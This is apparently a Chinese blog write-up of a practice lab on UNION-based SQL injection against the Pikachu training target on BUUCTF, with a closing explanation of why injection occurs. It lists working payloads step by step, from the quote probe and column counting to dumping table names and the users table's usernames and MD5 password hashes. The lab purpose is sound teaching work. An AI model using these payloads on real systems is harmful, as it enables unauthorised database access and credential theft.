2021-11-09 SQL注入---联合注入

本文章仅供学习和参考!

欢迎交流~

一、实验题目:联合注入

二、环境准备:

        漏洞练习平台:https://buuoj.cn/

三、实验过程:

1. 启动靶机:进入“buuctf”-->左边列表选择“Basic”-->右边选择“PikaChu”

2. 初始化安装:

3.  在左边列表选择“SQL-Inject”-->“字符型注入(get)”:

4.  寻找注入点:先输入一个单引号,提交后报错的话,说明SQL语句错误,即存在注入点。

5.  构造如下payload,取出表中的全部数据

命令:' or 1=1#

结果如下:

6.  使用如下order by语句确认主查询有多少个字段:

命令:

' or 1=1 order by 1#

' or 1=1 order by 2#

' or 1=1 order by 3#

........

结果如下:

 当order by 3时报错,说明主查询中有2个字段。

7. 通过下面的语句来获取当前数据库的名称

命令:' union select database(),user() #

结果如下:

数据库名称为pikachu

8.  通过information_schema语句来查询pikachu中的表名:

命令:' union select table_schema,table_name from information_schema.tables where table_schema='pikachu' #

结果如下:

9.  获取表名后,继续查询表中的列名,比如查询users这个表:

命令:' union select table_name,column_name from information_schema.columns where table_name='users' #

结果如下:

此时已知道数据库名为pikachu,其中一个表名为users,可以明显的看到这个

有username和password字段。

10.  通过如下语句来获取users表的用户名以及密码:

命令:' union select username,password from users #

结果如下:

 这时已获得经过md5加密的密码。

四、实验总结:

1.SQL注入原理:

        程序命令没能对用户输入的内容能作出正确的处理,导致执行非预期命令或访问数据,即接受的相关参数未经正确处理直接带入数据库进行查询操作。

2.SQL注入漏洞的产生满足两个条件:

(1)参数用户可控,即前段传给后端的参数内容是用户可以控制的

(2)参数带入数据库查询,即传入的参数拼接到SQL语句并带入数据库查询

Guess you like

Origin blog.csdn.net/m0_58489132/article/details/121238009